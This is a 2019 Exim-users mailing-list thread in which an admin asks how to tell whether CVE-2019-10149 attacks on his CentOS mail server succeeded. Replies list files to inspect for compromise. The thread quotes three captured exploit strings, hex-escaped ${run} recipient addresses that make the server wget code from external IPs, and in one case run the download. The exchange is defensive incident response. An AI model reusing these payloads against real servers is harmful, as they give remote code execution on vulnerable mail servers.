On 7/23/2019 9:58 AM, Calum Mackay via Exim-users wrote: > hi Phillip,
>
> If your Linux system was successfully hacked, you may see changes to:
>
> /etc/cron.d/root
> /etc/crontab
> /root/.ssh/authorized_keys
> /root/.ssh/known_hosts
>
> (or the Centos equivalent, above was from a Debian system)
>
Hi Calum,
Thanks for the response. I am fairly certain now that my server wasn't
successfully hacked. Because all direct addressee local parts are
logged, I am now convinced there were only the two instances my log
search revealed. And those were definitely stopped.
I have read that a different attack vector has been seen using
Envelope_To: local part instead of To:. I don't know that I fully
understand whether envelope processing follows a different path that
would avoid logging the local part before expansion.
However, I can't find any suspicious files or changes anywhere in the
system, and certainly not in the locations you listed. Actually I am
pretty certain csf would have logged an alert.
> and also every 5 mins getting frozen messages:
>
> The following address(es) have yet to be delivered:
>
> root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx:
> Too many "Received" headers - suspected mail loop
>
>
> Although perhaps not every successful hack case looks the same.
>
> cheers,
> calum.
>
The two instances in my logs have no command options at all on the wget
in the payload string. Nothing at all about certificate checking. Much
simpler attacks.
First:
root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2065.181.120.163\x2fstfinracu\x22}}@xxx
(This instance was temporarily rejected at connection because HELO and
host did not match. My config requires whitelisting of hosts that use
unmatched HELO. Until/unless whitelisted, they keep getting temporary
rejections. In this case the sending host ignored the response and
continued with the SMTP session anyway, ending with the two protocol
errors.)
Second:
root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x20199.204.214.40\x2fsbz\x2f45.79.89.203\x22}}@xxx
(This case was immediately rejected at connection due to IP being known
bad guy in spamhaus. However, like the first, it just continued on,
causing SMTP protocol errors.)
thanks again,
Phil >
>
> Phillip
> On 23/07/2019 1:10 am, Carroll via Exim-users wrote:
>> Because I was quite tardy in updating from 4.91 to 4.92, I am faced
>> with the the question as to best procedure for determining if anyone
>> successfully hacked into my Centos 7 server.
>>
>> (I updated in late June, still oblivious to the existence of the CVE.
>> A week later I learn about the CVE. C'est la vie.)
>>
>> Googling hasn't yielded much in terms of what a sysop should look for.
>>
>> I have exim logs going back many months. I searched those (case
>> insensitive) for the string "x2fbin", and also "${run". Both searches
>> found the exact same two instances of RCPT to a local part containing
>> a CVE-2019-10149 payoff string. (quite different from each other, but
>> all having essentially the same form) One was dated the week before I
>> updated to 4.92. The other was dated a week after updating.
>>
>> In both instances, the found string was part of an error message:
>> "SMTP Protocol error in RCPT TO:<root+$run...(payoff string)" ...
>> sender not yet given
>>
>> In the fist instance the RCPT error was immediately followed by the
>> error message:
>> SMTP protocol error in "DATA" ... valid RCPT command must precede DATA
>>
>> In each instance the RCPT error was immediately followed by an error
>> message:
>> SMTP protocol error in "DATA" ... valid RCPT command must precede DATA
>>
>> followed immediately by another error message:
>> SMTP protocol synchronization error (next input sent too soon:
>> pipelining was not advertised): rejected "Received: 1" ... next
>> input="Received: 2\r\nReceived: 3\r\nReceived: 4\r\nReceived:
>> 5\r\nReceived: 6\r\nReceived: 7\r\nReceived: 8\r\nReceived:
>> 9\r\nReceived: 10\r\nReceived: 11\r\nReceived: 12\r\nRece"
>>
>> My first question is, do these indicate failed attempts, or could they
>> have succeeded? On the face, it appears they failed.
>>
>> However, my second question would be whether, in a successful attempt,
>> the payoff string would even appear in the log or just get swallowed
>> up by exim executing the string? In which case, what do I look for to
>> eliminate that possibility?
>>
>> GLTA
>>
>>
>
